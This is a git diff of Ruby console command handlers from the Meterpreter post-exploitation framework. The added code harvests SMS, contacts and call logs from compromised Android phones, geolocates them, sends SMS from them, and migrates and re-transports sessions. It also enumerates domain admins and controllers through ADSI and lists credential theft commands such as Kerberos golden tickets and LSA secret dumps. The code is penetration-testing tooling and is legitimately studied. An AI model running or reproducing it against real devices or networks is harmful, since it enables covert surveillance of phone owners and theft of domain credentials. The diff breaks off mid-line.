['geolocate'], + 'dump_calllog' => ['dump_calllog'], + 'check_root' => ['check_root'], + 'device_shutdown' => ['device_shutdown'], + 'send_sms' => ['send_sms'], + 'wlan_geolocate' => ['wlan_geolocate'], + 'interval_collect' => ['interval_collect'] } # Ensure any requirements of the command are met - all.delete_if do |cmd, desc| - reqs[cmd].any? { |req| not client.commands.include?(req) } + all.delete_if do |cmd, _desc| + reqs[cmd].any? { |req| !client.commands.include?(req) } end end - def cmd_device_shutdown(*args) + def interval_collect_usage + print_line('Usage: interval_collect ') + print_line + print_line('Specifies an action to perform on a collector type.') + print_line + print_line(@@interval_collect_opts.usage) + end + def cmd_interval_collect(*args) + @@interval_collect_opts ||= Rex::Parser::Arguments.new( + '-h' => [false, 'Help Banner'], + '-a' => [true, "Action (required, one of: #{client.android.collect_actions.join(', ')})"], + '-c' => [true, "Collector type (required, one of: #{client.android.collect_types.join(', ')})"], + '-t' => [true, 'Collect poll timeout period in seconds (default: 30)'] + ) + + opts = { + action: nil, + type: nil, + timeout: 30 + } + + @@interval_collect_opts.parse(args) do |opt, idx, val| + case opt + when '-a' + opts[:action] = val.downcase + when '-c' + opts[:type] = val.downcase + when '-t' + opts[:timeout] = val.to_i + opts[:timeout] = 30 if opts[:timeout] <= 0 + end + end + + unless client.android.collect_actions.include?(opts[:action]) + interval_collect_usage + return + end + + type = args.shift.downcase + + unless client.android.collect_types.include?(opts[:type]) + interval_collect_usage + return + end + + result = client.android.interval_collect(opts) + if result[:headers].length > 0 && result[:entries].length > 0 + header = "Captured #{opts[:type]} data" + + if result[:timestamp] + time = Time.at(result[:timestamp]).to_datetime + header << " at #{time.strftime('%Y-%m-%d %H:%M:%S')}" + end + + table = Rex::Ui::Text::Table.new( + 'Header' => header, + 'SortIndex' => 0, + 'Columns' => result[:headers], + 'Indent' => 0 + ) + + result[:entries].each do |e| + table << e + end + + print_line + print_line(table.to_s) + else + print_good('Interval action completed successfully') + end + end + + def cmd_device_shutdown(*args) seconds = 0 device_shutdown_opts = Rex::Parser::Arguments.new( '-h' => [ false, 'Help Banner' ], '-t' => [ false, 'Shutdown after n seconds'] ) - device_shutdown_opts.parse(args) { | opt, idx, val | + device_shutdown_opts.parse(args) do |opt, _idx, val| case opt when '-h' print_line('Usage: device_shutdown [options]') @@ -62,26 +140,25 @@ class Console::CommandDispatcher::Android when '-t' seconds = val.to_i end - } + end res = client.android.device_shutdown(seconds) if res - print_status("Device will shutdown #{seconds > 0 ?('after ' + seconds + ' seconds'):'now'}") + print_status("Device will shutdown #{seconds > 0 ? ('after ' + seconds + ' seconds') : 'now'}") else print_error('Device shutdown failed') end end - - def cmd_dump_sms(*args) + def cmd_dump_sms(*args) path = "sms_dump_#{Time.new.strftime('%Y%m%d%H%M%S')}.txt" dump_sms_opts = Rex::Parser::Arguments.new( - '-h' => [ false, 'Help Banner' ], - '-o' => [ false, 'Output path for sms list'] + '-h' => [ false, 'Help Banner' ], + '-o' => [ false, 'Output path for sms list'] ) - dump_sms_opts.parse(args) { | opt, idx, val | + dump_sms_opts.parse(args) do |opt, _idx, val| case opt when '-h' print_line('Usage: dump_sms [options]') @@ -91,19 +168,18 @@ class Console::CommandDispatcher::Android when '-o' path = val end - } + end - smsList = [] - smsList = client.android.dump_sms + sms_list = client.android.dump_sms - if smsList.count > 0 - print_status("Fetching #{smsList.count} sms #{smsList.count == 1? 'message': 'messages'}") + if sms_list.count > 0 + print_status("Fetching #{sms_list.count} sms #{sms_list.count == 1 ? 'message' : 'messages'}") begin info = client.sys.config.sysinfo data = "" data << "\n=====================\n" - data << "[+] Sms messages dump\n" + data << "[+] SMS messages dump\n" data << "=====================\n\n" time = Time.new @@ -112,8 +188,7 @@ class Console::CommandDispatcher::Android data << "Remote IP: #{client.sock.peerhost}\n" data << "Remote Port: #{client.sock.peerport}\n\n" - smsList.each_with_index { |a, index| - + sms_list.each_with_index do |a, index| data << "##{index.to_i + 1}\n" type = 'Unknown' @@ -147,14 +222,14 @@ class Console::CommandDispatcher::Android data << "Address\t: #{a['address']}\n" data << "Status\t: #{status}\n" data << "Message\t: #{a['body']}\n\n" - } + end ::File.write(path, data) - print_status("Sms #{smsList.count == 1? 'message': 'messages'} saved to: #{path}") + print_status("SMS #{sms_list.count == 1 ? 'message' : 'messages'} saved to: #{path}") return true rescue - print_error("Error getting messages: #{$!}") + print_error("Error getting messages: #{$ERROR_INFO}") return false end else @@ -163,18 +238,15 @@ class Console::CommandDispatcher::Android end end - def cmd_dump_contacts(*args) - path = "contacts_dump_#{Time.new.strftime('%Y%m%d%H%M%S')}.txt" - dump_contacts_opts = Rex::Parser::Arguments.new( + dump_contacts_opts = Rex::Parser::Arguments.new( '-h' => [ false, 'Help Banner' ], '-o' => [ false, 'Output path for contacts list'] - ) - dump_contacts_opts.parse(args) { | opt, idx, val | + dump_contacts_opts.parse(args) do |opt, _idx, val| case opt when '-h' print_line('Usage: dump_contacts [options]') @@ -184,13 +256,12 @@ class Console::CommandDispatcher::Android when '-o' path = val end - } + end - contactList = [] - contactList = client.android.dump_contacts + contact_list = client.android.dump_contacts - if contactList.count > 0 - print_status("Fetching #{contactList.count} #{contactList.count == 1? 'contact': 'contacts'} into list") + if contact_list.count > 0 + print_status("Fetching #{contact_list.count} #{contact_list.count == 1 ? 'contact' : 'contacts'} into list") begin info = client.sys.config.sysinfo @@ -205,32 +276,28 @@ class Console::CommandDispatcher::Android data << "Remote IP: #{client.sock.peerhost}\n" data << "Remote Port: #{client.sock.peerport}\n\n" - contactList.each_with_index { |c, index| + contact_list.each_with_index do |c, index| data << "##{index.to_i + 1}\n" data << "Name\t: #{c['name']}\n" - if c['number'].count > 0 - (c['number']).each { |n| - data << "Number\t: #{n}\n" - } + c['number'].each do |n| + data << "Number\t: #{n}\n" end - if c['email'].count > 0 - (c['email']).each { |n| - data << "Email\t: #{n}\n" - } + c['email'].each do |n| + data << "Email\t: #{n}\n" end data << "\n" - } - + end + ::File.write(path, data) print_status("Contacts list saved to: #{path}") return true rescue - print_error("Error getting contacts list: #{$!}") + print_error("Error getting contacts list: #{$ERROR_INFO}") return false end else @@ -243,13 +310,11 @@ class Console::CommandDispatcher::Android generate_map = false geolocate_opts = Rex::Parser::Arguments.new( - '-h' => [ false, 'Help Banner' ], '-g' => [ false, 'Generate map using google-maps'] - ) - geolocate_opts.parse(args) { | opt, idx, val | + geolocate_opts.parse(args) do |opt, _idx, _val| case opt when '-h' print_line('Usage: geolocate [options]') @@ -259,7 +324,7 @@ class Console::CommandDispatcher::Android when '-g' generate_map = true end - } + end geo = client.android.geolocate @@ -278,7 +343,6 @@ class Console::CommandDispatcher::Android end def cmd_dump_calllog(*args) - path = "calllog_dump_#{Time.new.strftime('%Y%m%d%H%M%S')}.txt" dump_calllog_opts = Rex::Parser::Arguments.new( @@ -287,7 +351,7 @@ class Console::CommandDispatcher::Android ) - dump_calllog_opts.parse(args) { | opt, idx, val | + dump_calllog_opts.parse(args) do |opt, _idx, val| case opt when '-h' print_line('Usage: dump_calllog [options]') @@ -297,12 +361,12 @@ class Console::CommandDispatcher::Android when '-o' path = val end - } + end log = client.android.dump_calllog if log.count > 0 - print_status("Fetching #{log.count} #{log.count == 1? 'entry': 'entries'}") + print_status("Fetching #{log.count} #{log.count == 1 ? 'entry' : 'entries'}") begin info = client.sys.config.sysinfo @@ -317,23 +381,21 @@ class Console::CommandDispatcher::Android data << "Remote IP: #{client.sock.peerhost}\n" data << "Remote Port: #{client.sock.peerport}\n\n" - log.each_with_index { |a, index| - + log.each_with_index do |a, index| data << "##{index.to_i + 1}\n" - data << "Number\t: #{a['number']}\n" data << "Name\t: #{a['name']}\n" data << "Date\t: #{a['date']}\n" data << "Type\t: #{a['type']}\n" data << "Duration: #{a['duration']}\n\n" - } + end ::File.write(path, data) print_status("Call log saved to #{path}") return true rescue - print_error("Error getting call log: #{$!}") + print_error("Error getting call log: #{$ERROR_INFO}") return false end else @@ -342,14 +404,13 @@ class Console::CommandDispatcher::Android end end - def cmd_check_root(*args) check_root_opts = Rex::Parser::Arguments.new( '-h' => [ false, 'Help Banner' ] ) - check_root_opts.parse(args) { | opt, idx, val | + check_root_opts.parse(args) do |opt, _idx, _val| case opt when '-h' print_line('Usage: check_root [options]') @@ -357,26 +418,123 @@ class Console::CommandDispatcher::Android print_line(check_root_opts.usage) return end - } + end is_rooted = client.android.check_root if is_rooted print_good('Device is rooted') - elsif + else print_status('Device is not rooted') end end + def cmd_send_sms(*args) + send_sms_opts = Rex::Parser::Arguments.new( + '-h' => [ false, 'Help Banner' ], + '-d' => [ true, 'Destination number' ], + '-t' => [ true, 'SMS body text' ], + '-dr' => [ false, 'Wait for delivery report' ] + ) + + dest = '' + body = '' + dr = false + + send_sms_opts.parse(args) do |opt, _idx, val| + case opt + when '-h' + print_line('Usage: send_sms -d -t ') + print_line('Sends SMS messages to specified number.') + print_line(send_sms_opts.usage) + return + when '-d' + dest = val + when '-t' + body = val + when '-dr' + dr = true + end + end + + if dest.blank? || body.blank? + print_error("You must enter both a destination address -d and the SMS text body -t") + print_error('e.g. send_sms -d +351961234567 -t "GREETINGS PROFESSOR FALKEN."') + print_line(send_sms_opts.usage) + return + end + + sent = client.android.send_sms(dest, body, dr) + if dr + if sent[0] == "Transmission successful" + print_good("SMS sent - #{sent[0]}") + else + print_error("SMS send failed - #{sent[0]}") + end + if sent[1] == "Transmission successful" + print_good("SMS delivered - #{sent[1]}") + else + print_error("SMS delivery failed - #{sent[1]}") + end + else + if sent == "Transmission successful" + print_good("SMS sent - #{sent}") + else + print_error("SMS send failed - #{sent}") + end + end + end + + def cmd_wlan_geolocate(*args) + wlan_geolocate_opts = Rex::Parser::Arguments.new( + '-h' => [ false, 'Help Banner' ] + ) + + wlan_geolocate_opts.parse(args) do |opt, _idx, _val| + case opt + when '-h' + print_line('Usage: wlan_geolocate') + print_line('Tries to get device geolocation from WLAN information and Google\'s API') + print_line(wlan_geolocate_opts.usage) + return + end + end + + log = client.android.wlan_geolocate + wlan_list = [] + log.each do |x| + mac = x['bssid'] + ssid = x['ssid'] + ss = x['level'] + wlan_list << [mac, ssid, ss.to_s] + end + + if wlan_list.blank? + print_error("Unable to enumerate wireless networks from the target. Wireless may not be present or enabled.") + return + end + g = Rex::Google::Geolocation.new + + wlan_list.each do |wlan| + g.add_wlan(*wlan) + end + begin + g.fetch! + rescue RuntimeError => e + print_error("Error: #{e}") + else + print_status(g.to_s) + print_status("Google Maps URL: #{g.google_maps_url}") + end + end + # # Name for this dispatcher # def name 'Android' end - -end - +end end end end diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb index 3d78b292e3..9ae6874737 100644 --- a/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb +++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb @@ -28,8 +28,15 @@ class Console::CommandDispatcher::Core self.extensions = [] self.bgjobs = [] self.bgjob_id = 0 + + # keep a lookup table to refer to transports by index + @transport_map = {} end + @@irb_opts = Rex::Parser::Arguments.new( + "-h" => [ false, "Help banner." ], + "-e" => [ true, "Expression to evaluate." ]) + @@load_opts = Rex::Parser::Arguments.new( "-l" => [ false, "List all available extensions" ], "-h" => [ false, "Help menu." ]) @@ -52,6 +59,7 @@ class Console::CommandDispatcher::Core "machine_id" => "Get the MSF ID of the machine attached to the session", "quit" => "Terminate the meterpreter session", "resource" => "Run the commands stored in a file", + "uuid" => "Get the UUID for the current session", "read" => "Reads data from a channel", "run" => "Executes a meterpreter script or Post module", "bgrun" => "Executes a meterpreter script as a background thread", @@ -79,12 +87,10 @@ class Console::CommandDispatcher::Core if client.platform =~ /win/ || client.platform =~ /linux/ # Migration only supported on windows and linux c["migrate"] = "Migrate the server to another process" + end - # UUID functionality isn't yet available on other platforms - c["uuid"] = "Get the UUID for the current session" - + if client.platform =~ /win/ || client.platform =~ /linux/ || client.platform =~ /python/ || client.platform =~ /java/ # Yet to implement transport hopping for other meterpreters. - # Works for posix and native windows though. c["transport"] = "Change the current transport mechanism" # sleep functionality relies on the transport features, so only @@ -323,16 +329,40 @@ class Console::CommandDispatcher::Core alias cmd_interact_tabs cmd_close_tabs + def cmd_irb_help + print_line "Usage: irb" + print_line + print_line "Execute commands in a Ruby environment" + print @@irb_opts.usage + end + # # Runs the IRB scripting shell # def cmd_irb(*args) - print_status("Starting IRB shell") - print_status("The 'client' variable holds the meterpreter client\n") + expressions = [] + + # Parse the command options + @@irb_opts.parse(args) do |opt, idx, val| + case opt + when '-e' + expressions << val + when '-h' + return cmd_irb_help + end + end session = client framework = client.framework - Rex::Ui::Text::IrbShell.new(binding).run + + if expressions.empty? + print_status("Starting IRB shell") + print_status("The 'client' variable holds the meterpreter client\n") + + Rex::Ui::Text::IrbShell.new(binding).run + else + expressions.each { |expression| eval(expression, binding) } + end end @@set_timeouts_opts = Rex::Parser::Arguments.new( @@ -544,12 +574,14 @@ class Console::CommandDispatcher::Core '-t' => [ true, "Transport type: #{Rex::Post::Meterpreter::ClientCore::VALID_TRANSPORTS.keys.join(', ')}" ], '-l' => [ true, 'LHOST parameter (for reverse transports)' ], '-p' => [ true, 'LPORT parameter' ], - '-ua' => [ true, 'User agent for http(s) transports (optional)' ], - '-ph' => [ true, 'Proxy host for http(s) transports (optional)' ], - '-pp' => [ true, 'Proxy port for http(s) transports (optional)' ], - '-pu' => [ true, 'Proxy username for http(s) transports (optional)' ], - '-ps' => [ true, 'Proxy password for http(s) transports (optional)' ], - '-pt' => [ true, 'Proxy type for http(s) transports (optional: http, socks; default: http)' ], + '-i' => [ true, 'Specify transport by index (currently supported: remove)' ], + '-u' => [ true, 'Custom URI for HTTP/S transports (used when removing transports)' ], + '-ua' => [ true, 'User agent for HTTP/S transports (optional)' ], + '-ph' => [ true, 'Proxy host for HTTP/S transports (optional)' ], + '-pp' => [ true, 'Proxy port for HTTP/S transports (optional)' ], + '-pu' => [ true, 'Proxy username for HTTP/S transports (optional)' ], + '-ps' => [ true, 'Proxy password for HTTP/S transports (optional)' ], + '-pt' => [ true, 'Proxy type for HTTP/S transports (optional: http, socks; default: http)' ], '-c' => [ true, 'SSL certificate path for https transport verification (optional)' ], '-to' => [ true, 'Comms timeout (seconds) (default: same as current session)' ], '-ex' => [ true, 'Expiration timout (seconds) (default: same as current session)' ], @@ -562,16 +594,24 @@ class Console::CommandDispatcher::Core # Display help for transport management. # def cmd_transport_help - print_line('Usage: transport [options]') + print_line('Usage: transport [options]') print_line print_line(' list: list the currently active transports.') print_line(' add: add a new transport to the transport list.') print_line(' change: same as add, but changes directly to the added entry.') print_line(' next: jump to the next transport in the list (no options).') print_line(' prev: jump to the previous transport in the list (no options).') + print_line(' remove: remove an existing, non-active transport.') print_line(@@transport_opts.usage) end + def update_transport_map + result = client.core.transport_list + @transport_map.clear + sorted_by_url = result[:transports].sort_by { |k| k[:url] } + sorted_by_url.each_with_index { |t, i| @transport_map[i+1] = t } + end + # # Manage transports # @@ -582,7 +622,7 @@ class Console::CommandDispatcher::Core end command = args.shift - unless ['list', 'add', 'change', 'prev', 'next'].include?(command) + unless ['list', 'add', 'change', 'prev', 'next', 'remove'].include?(command) cmd_transport_help return end @@ -592,6 +632,7 @@ class Console::CommandDispatcher::Core :transport => nil, :lhost => nil, :lport => nil, + :uri => nil, :ua => nil, :proxy_host => nil, :proxy_port => nil, @@ -607,10 +648,15 @@ class Console::CommandDispatcher::Core } valid = true + transport_index = 0 @@transport_opts.parse(args) do |opt, idx, val| case opt when '-c' opts[:cert] = val + when '-u' + opts[:uri] = val + when '-i' + transport_index = val.to_i when '-ph' opts[:proxy_host] = val when '-pp' @@ -653,13 +699,21 @@ class Console::CommandDispatcher::Core return end + update_transport_map + case command when 'list' result = client.core.transport_list + + current_transport_url = result[:transports].first[:url] + + sorted_by_url = result[:transports].sort_by { |k| k[:url] } + # this will output the session timeout first print_timeouts(result) columns =[ + 'ID', 'Curr', 'URL', 'Comms T/O', @@ -677,16 +731,13 @@ class Console::CommandDispatcher::Core # next draw up a table of transport entries tbl = Rex::Ui::Text::Table.new( - 'SortIndex' => -1, # disable any sorting + 'SortIndex' => 0, # sort by ID 'Indent' => 4, 'Columns' => columns) - first = true - result[:transports].each do |t| - entry = [ first ? '*' : '', t[:url], t[:comm_timeout], - t[:retry_total], t[:retry_wait] ] - - first = false + sorted_by_url.each_with_index do |t, i| + entry = [ i+1, (current_transport_url == t[:url]) ? '*' : '', t[:url], + t[:comm_timeout], t[:retry_total], t[:retry_wait] ] if opts[:verbose] entry << t[:ua] @@ -734,18 +785,52 @@ class Console::CommandDispatcher::Core else print_error("Failed to add transport, please check the parameters") end + when 'remove' + if opts[:transport] && !opts[:transport].end_with?('_tcp') && opts[:uri].nil? + print_error("HTTP/S transport specified without session URI") + return + end + + if !transport_index.zero? && @transport_map.has_key?(transport_index) + # validate the URL + url_to_delete = @transport_map[transport_index][:url] + begin + uri = URI.parse(url_to_delete) + opts[:transport] = "reverse_#{uri.scheme}" + opts[:lhost] = uri.host + opts[:lport] = uri.port + opts[:uri] = uri.path[1..-2] if uri.scheme.include?("http") + + rescue URI::InvalidURIError + print_error("Failed to parse URL: #{url_to_delete}") + return + end + end + + print_status("Removing transport ...") + if client.core.transport_remove(opts) + print_good("Successfully removed #{opts[:transport]} transport.") + else + print_error("Failed to remove transport, please check the parameters") + end end end + @@migrate_opts = Rex::Parser::Arguments.new( + '-p' => [true, 'Writable path - Linux only (eg. /tmp).'], + '-t' => [true, 'The number of seconds to wait for migration to finish (default: 60).'], + '-h' => [false, 'Help menu.'] + ) + def cmd_migrate_help if client.platform =~ /linux/ - print_line "Usage: migrate [writable_path]" + print_line('Usage: migrate [-p writable_path] [-t timeout]') else - print_line "Usage: migrate " + print_line('Usage: migrate [-t timeout]') end print_line - print_line "Migrates the server instance to another process." - print_line "NOTE: Any open channels or other dynamic state will be lost." + print_line('Migrates the server instance to another process.') + print_line('NOTE: Any open channels or other dynamic state will be lost.') print_line end @@ -756,19 +841,29 @@ class Console::CommandDispatcher::Core # platforms a path for the unix domain socket used for IPC. # @return [void] def cmd_migrate(*args) - if ( args.length == 0 or args.include?("-h") ) + if args.length == 0 || args.include?('-h') cmd_migrate_help return true end pid = args[0].to_i - if(pid == 0) - print_error("A process ID must be specified, not a process name") + if pid == 0 + print_error('A process ID must be specified, not a process name') return end - if client.platform =~ /linux/ - writable_dir = (args.length >= 2) ? args[1] : nil + writable_dir = nil + opts = { + timeout: nil + } + + @@transport_opts.parse(args) do |opt, idx, val| + case opt + when '-t' + opts[:timeout] = val.to_i + when '-p' + writable_dir = val + end end begin @@ -790,7 +885,7 @@ class Console::CommandDispatcher::Core service.each_tcp_relay do |lhost, lport, rhost, rport, opts| next unless opts['MeterpreterRelay'] if existing_relays.empty? - print_status("Removing existing TCP relays...") + print_status('Removing existing TCP relays...') end if (service.stop_tcp_relay(lport, lhost)) print_status("Successfully stopped TCP relay on #{lhost || '0.0.0.0'}:#{lport}") @@ -811,16 +906,15 @@ class Console::CommandDispatcher::Core server ? print_status("Migrating from #{server.pid} to #{pid}...") : print_status("Migrating to #{pid}") # Do this thang. - if client.platform =~ /linux/ - client.core.migrate(pid, writable_dir) - else - client.core.migrate(pid) - end + client.core.migrate(pid, writable_dir, opts) - print_status("Migration completed successfully.") + print_status('Migration completed successfully.') + + # Update session info (we may have a new username) + client.update_session_info unless existing_relays.empty? - print_status("Recreating TCP relay(s)...") + print_status('Recreating TCP relay(s)...') existing_relays.each do |r| client.pfservice.start_tcp_relay(r[:lport], r[:opts]) print_status("Local TCP relay recreated: #{r[:opts]['LocalHost'] || '0.0.0.0'}:#{r[:lport]} <-> #{r[:opts]['PeerHost']}:#{r[:opts]['PeerPort']}") diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/adsi.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/adsi.rb index dfa41fb5fc..f3a5326735 100644 --- a/lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/adsi.rb +++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/adsi.rb @@ -27,7 +27,10 @@ class Console::CommandDispatcher::Extapi::Adsi def commands { "adsi_user_enum" => "Enumerate all users on the specified domain.", + "adsi_group_enum" => "Enumerate all groups on the specified domain.", + "adsi_nested_group_user_enum" => "Recursively enumerate users who are effectively members of the group specified.", "adsi_computer_enum" => "Enumerate all computers on the specified domain.", + "adsi_dc_enum" => "Enumerate all domain controllers on the specified domain.", "adsi_domain_query" => "Enumerate all objects on the specified domain that match a filter." } end @@ -39,6 +42,56 @@ class Console::CommandDispatcher::Extapi::Adsi "Extapi: ADSI Management" end + # + # Options for the adsi_nested_group_user_enum command. + # + @@adsi_nested_group_user_enum_opts = Rex::Parser::Arguments.new( + "-h" => [ false, "Help banner" ], + "-m" => [ true, "Maximum results to return." ], + "-p" => [ true, "Result set page size." ] + ) + + def adsi_nested_group_user_enum_usage + print_line("USAGE:") + print_line(" adsi_nested_group_user_enum [-h] [-m maxresults] [-p pagesize]") + print_line + print_line("DESCRIPTION:") + print_line(" Enumerate the users who are members of the named group, taking nested groups into account.") + print_line(" For example, specifying the 'Domain Admins' group DN will list all users who are effectively") + print_line(" members of the Domain Admins group, even if they are in practice members of intermediary groups.") + print_line + print_line("EXAMPLE:") + print_line(" The example below will list all members of the 'Domain Admins' group on the STUFUS domain:") + print_line(" adsi_nested_group_user_enum STUFUS \"CN=Domain Admins,CN=Users,DC=mwrinfosecurity,DC=com\"") + print_line(@@adsi_nested_group_user_enum_opts.usage) + end + + # + # Enumerate domain groups. + # + def cmd_adsi_nested_group_user_enum(*args) + args.unshift("-h") if args.length == 0 + if args.include?("-h") || args.length < 2 + adsi_nested_group_user_enum_usage + return true + end + + domain = args.shift + groupdn = args.shift + # This OID (canonical name = LDAP_MATCHING_RULE_IN_CHAIN) will recursively search each 'memberof' parent + # https://support.microsoft.com/en-us/kb/275523 for more information -stufus + filter = "(&(objectClass=user)(memberof:1.2.840.113556.1.4.1941:=#{groupdn}))" + fields = [ + "samaccountname", + "name", + "distinguishedname", + "description", + "comment" + ] + args = [domain, filter] + fields + args + return cmd_adsi_domain_query(*args) + end + # # Options for the adsi_user_enum command. # @@ -49,12 +102,13 @@ class Console::CommandDispatcher::Extapi::Adsi ) def adsi_user_enum_usage - print( - "\nUsage: adsi_user_enum [-h] [-m maxresults] [-p pagesize]\n\n" + - "Enumerate the users on the target domain.\n\n" + - "Enumeration returns information such as the user name, SAM account name, locked\n" + - "status, desc, and comment.\n" + - @@adsi_user_enum_opts.usage) + print_line("USAGE:") + print_line(" adsi_user_enum [-h] [-m maxresults] [-p pagesize]") + print_line + print_line("DESCRIPTION:") + print_line(" Enumerate all users on the target domain.") + print_line(" Enumeration returns information such as the user name, SAM account name, status, comments etc") + print_line(@@adsi_user_enum_opts.usage) end # @@ -80,6 +134,49 @@ class Console::CommandDispatcher::Extapi::Adsi return cmd_adsi_domain_query(*args) end + # + # Options for the adsi_group_enum command. + # + @@adsi_group_enum_opts = Rex::Parser::Arguments.new( + "-h" => [ false, "Help banner" ], + "-m" => [ true, "Maximum results to return." ], + "-p" => [ true, "Result set page size." ] + ) + + def adsi_group_enum_usage + print_line("USAGE:") + print_line(" adsi_nested_group_user_enum [-h] [-m maxresults] [-p pagesize]") + print_line + print_line("DESCRIPTION:") + print_line(" Enumerate all groups on the target domain.") + print_line + print_line("EXAMPLE:") + print_line(" The example below will list all groups on the STUFUS domain.") + print_line(" adsi_group_enum STUFUS") + print_line(@@adsi_group_enum_opts.usage) + end + + # + # Enumerate domain groups. + # + def cmd_adsi_group_enum(*args) + args.unshift("-h") if args.length == 0 + if args.include?("-h") + adsi_group_enum_usage + return true + end + + domain = args.shift + filter = "(objectClass=group)" + fields = [ + "name", + "distinguishedname", + "description", + ] + args = [domain, filter] + fields + args + return cmd_adsi_domain_query(*args) + end + # # Options for the adsi_computer_enum command. # @@ -90,11 +187,12 @@ class Console::CommandDispatcher::Extapi::Adsi ) def adsi_computer_enum_usage - print( - "\nUsage: adsi_computer_enum [-h] [-m maxresults] [-p pagesize]\n\n" + - "Enumerate the computers on the target domain.\n\n" + - "Enumeration returns information such as the computer name, desc, and comment.\n" + - @@adsi_computer_enum_opts.usage) + print_line("USAGE:") + print_line(" adsi_computer_enum [-h] [-m maxresults] [-p pagesize]") + print_line + print_line("DESCRIPTION:") + print_line(" Enumerate all computers on the target domain.") + print_line(@@adsi_computer_enum_opts.usage) end # @@ -111,7 +209,56 @@ class Console::CommandDispatcher::Extapi::Adsi filter = "(objectClass=computer)" fields = [ "name", + "dnshostname", "distinguishedname", + "operatingsystem", + "operatingsystemversion", + "operatingsystemservicepack", + "description", + "comment" + ] + args = [domain, filter] + fields + args + return cmd_adsi_domain_query(*args) + end + + # + # Options for the adsi_dc_enum command. + # + @@adsi_dc_enum_opts = Rex::Parser::Arguments.new( + "-h" => [ false, "Help banner" ], + "-m" => [ true, "Maximum results to return." ], + "-p" => [ true, "Result set page size." ] + ) + + def adsi_dc_enum_usage + print_line("USAGE:") + print_line(" adsi_dc_enum [-h] [-m maxresults] [-p pagesize]") + print_line + print_line("DESCRIPTION:") + print_line(" Enumerate the domain controllers on the target domain.") + print_line(@@adsi_dc_enum_opts.usage) + end + + # + # Enumerate domain dcs. + # + def cmd_adsi_dc_enum(*args) + args.unshift("-h") if args.length == 0 + if args.include?("-h") + adsi_dc_enum_usage + return true + end + + domain = args.shift + # This LDAP filter will pull out domain controllers + filter = "(&(objectCategory=computer)(userAccountControl:1.2.840.113556.1.4.803:=8192))" + fields = [ + "name", + "dnshostname", + "distinguishedname", + "operatingsystem", + "operatingsystemversion", + "operatingsystemservicepack", "description", "comment" ] @@ -129,11 +276,12 @@ class Console::CommandDispatcher::Extapi::Adsi ) def adsi_domain_query_usage - print( - "\nUsage: adsi_domain_query [field 2 [field ..]] [-h] [-m maxresults] [-p pagesize]\n\n" + - "Enumerate the objects on the target domain.\n\n" + - "Enumeration returns the set of fields that are specified.\n" + - @@adsi_domain_query_opts.usage) + print_line("USAGE:") + print_line(" adsi_domain_query [field 2 [field ..]] [-h] [-m maxresults] [-p pagesize]") + print_line + print_line("DESCRIPTION:") + print_line(" Enumerates the objects on the target domain, returning the set of fields that are specified.") + print_line(@@adsi_domain_query_opts.usage) end # diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/kiwi.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/kiwi.rb index 628df53d87..408a895b7c 100644 --- a/lib/rex/post/meterpreter/ui/console/command_dispatcher/kiwi.rb +++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/kiwi.rb @@ -26,7 +26,7 @@ class Console::CommandDispatcher::Kiwi # Name for this dispatcher # def name - "Kiwi" + 'Kiwi' end # @@ -46,10 +46,9 @@ class Console::CommandDispatcher::Kiwi print_line(" '#####' Ported to Metasploit by OJ Reeves `TheColonial` * * */") print_line - if (client.platform =~ /x86/) and (client.sys.config.sysinfo['Architecture'] =~ /x64/) - + if client.platform =~ /x86/ and client.sys.config.sysinfo['Architecture'] =~ /x64/ print_line - print_warning "Loaded x86 Kiwi on an x64 architecture." + print_warning('Loaded x86 Kiwi on an x64 architecture.') end end @@ -58,19 +57,19 @@ class Console::CommandDispatcher::Kiwi # def commands { - "creds_wdigest" => "Retrieve WDigest creds", - "creds_msv" => "Retrieve LM/NTLM creds (hashes)", - "creds_livessp" => "Retrieve LiveSSP creds", - "creds_ssp" => "Retrieve SSP creds", - "creds_tspkg" => "Retrieve TsPkg creds", - "creds_kerberos" => "Retrieve Kerberos creds", - "creds_all" => "Retrieve all credentials", - "golden_ticket_create" => "Create a golden kerberos ticket", - "kerberos_ticket_use" => "Use a kerberos ticket", - "kerberos_ticket_purge" => "Purge any in-use kerberos tickets", - "kerberos_ticket_list" => "List all kerberos tickets", - "lsa_dump" => "Dump LSA secrets", - "wifi_list" => "List wifi profiles/creds" + 'creds_wdigest' => 'Retrieve WDigest creds', + 'creds_msv' => 'Retrieve LM/NTLM creds (hashes)', + 'creds_livessp' => 'Retrieve LiveSSP creds', + 'creds_ssp' => 'Retrieve SSP creds', + 'creds_tspkg' => 'Retrieve TsPkg creds', + 'creds_kerberos' => 'Retrieve Kerberos creds', + 'creds_all' => 'Retrieve all credentials', + 'golden_ticket_create' => 'Create a golden kerberos ticket', + 'kerberos_ticket_use' => 'Use a kerberos ticket', + 'kerberos_ticket_purge' => 'Purge any in-use kerberos tickets', + 'kerberos_ticket_list' => 'List all kerberos tickets', + 'lsa_dump' => 'Dump LSA secrets', + 'wifi_list' => 'List wifi profiles/creds' } end @@ -80,7 +79,7 @@ class Console::CommandDispatcher::Kiwi def cmd_lsa_dump(*args) check_privs - print_status("Dumping LSA secrets") + print_status('Dumping LSA secrets') lsa = client.kiwi.lsa_dump # the format of this data doesn't really lend itself nicely to @@ -142,24 +141,24 @@ class Console::CommandDispatcher::Kiwi # Valid options for the golden ticket creation functionality. # @@golden_ticket_create_opts = Rex::Parser::Arguments.new( - "-h" => [ false, "Help banner" ], - "-u" => [ true, "Name of the user to create the ticket for" ], - "-i" => [ true, "ID of the user to associate the ticket with" ], - "-g" => [ true, "Comma-separated list of group identifiers to include (eg: 501,502)" ], - "-d" => [ true, "Name of the target domain (FQDN)" ], - "-k" => [ true, "krbtgt domain user NTLM hash" ], - "-t" => [ true, "Local path of the file to store the ticket in" ], - "-s" => [ true, "SID of the domain" ] + '-h' => [ false, 'Help banner' ], + '-u' => [ true, 'Name of the user to create the ticket for' ], + '-i' => [ true, 'ID of the user to associate the ticket with' ], + '-g' => [ true, 'Comma-separated list of group identifiers to 